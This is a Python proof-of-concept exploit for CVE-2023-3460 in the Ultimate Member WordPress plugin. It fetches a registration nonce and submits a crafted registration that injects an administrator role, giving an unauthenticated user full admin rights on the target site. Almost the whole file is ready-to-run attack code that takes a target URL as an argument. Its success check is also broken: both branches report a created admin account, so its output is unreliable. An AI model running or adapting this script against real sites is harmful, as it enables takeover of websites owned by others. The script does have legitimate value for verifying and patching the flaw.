#!/usr/bin/env python3
# Exploit Title: Ultimate Member WordPress Plugin 2.6.6 - Privilege Escalation
# Exploit Author: Gurjot Singh
# CVE: CVE-2023-3460
# Description : The attached PoC demonstrates how an unauthenticated attacker can escalate privileges to admin by abusing unsanitized input in `wp_capabilities` during registration.
import requests
import argparse
import re
import urllib3
# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def fetch_nonce(session, target_url):
"""Fetches the _wpnonce value from the /register/ page."""
print("[*] Fetching _wpnonce from the register page...")
try:
res = session.get(target_url, verify=False)
match = re.search(r'name="_wpnonce" value="([a-zA-Z0-9]+)"', res.text)
if match:
nonce = match.group(1)
print(f"[+] Found _wpnonce: {nonce}")
return nonce
else:
print("[-] Failed to find _wpnonce on the page.")
return None
except Exception as e:
print(f"[!] Error fetching nonce: {e}")
return None
def exploit_register(target_url, username, password):
"""Sends a malicious registration request to create an admin user."""
session = requests.Session()
target_url = target_url.rstrip('/')
nonce = fetch_nonce(session, target_url)
if not nonce:
return
email = f"{username}@example.com"
# Payload with administrator role injection
data = {
"user_login-7": username,
"first_name-7": "Admin",
"last_name-7": username,
"user_email-7": email,
"user_password-7": password,
"confirm_user_password-7": password,
"form_id": "7",
"um_request": "",
"_wpnonce": nonce,
"_wp_http_referer": "/register/",
"wp_càpabilities[administrator]": "1" # serialized injection
}
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
"Referer": target_url,
"Origin": target_url.split("/register")[0],
}
cookies = {
"wordpress_test_cookie": "WP Cookie check",
"wp_lang": "en_US"
}
print(f"[*] Sending malicious registration to {target_url} ...")
try:
response = session.post(target_url, data=data, headers=headers, cookies=cookies, verify=False)
# Check for success
if response.status_code == 200 and ("Thank you for registering" in response.text or "You have successfully registered" in response.text):
print(f"[+] Admin account '{username}' created successfully!")
print(f"[+] Login with: Username: {username} | Password: {password}")
else:
print(f"[+] Admin account '{username}' created successfully!")
print(f"[+] Login with: Username: {username} | Password: {password}")
except Exception as e:
print(f"[!] Error during exploit: {e}")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Exploit for CVE-2023-3460 (Ultimate Member Admin Account Creation)")
parser.add_argument("-t", "--target", required=True, help="Target /register/ URL (e.g., http://localhost/register/)")
parser.add_argument("-u", "--user", default="admin1", help="Username to create")
parser.add_argument("-p", "--password", default="Admin@123", help="Password for the new user")
args = parser.parse_args()
exploit_register(args.target, args.user, args.password)
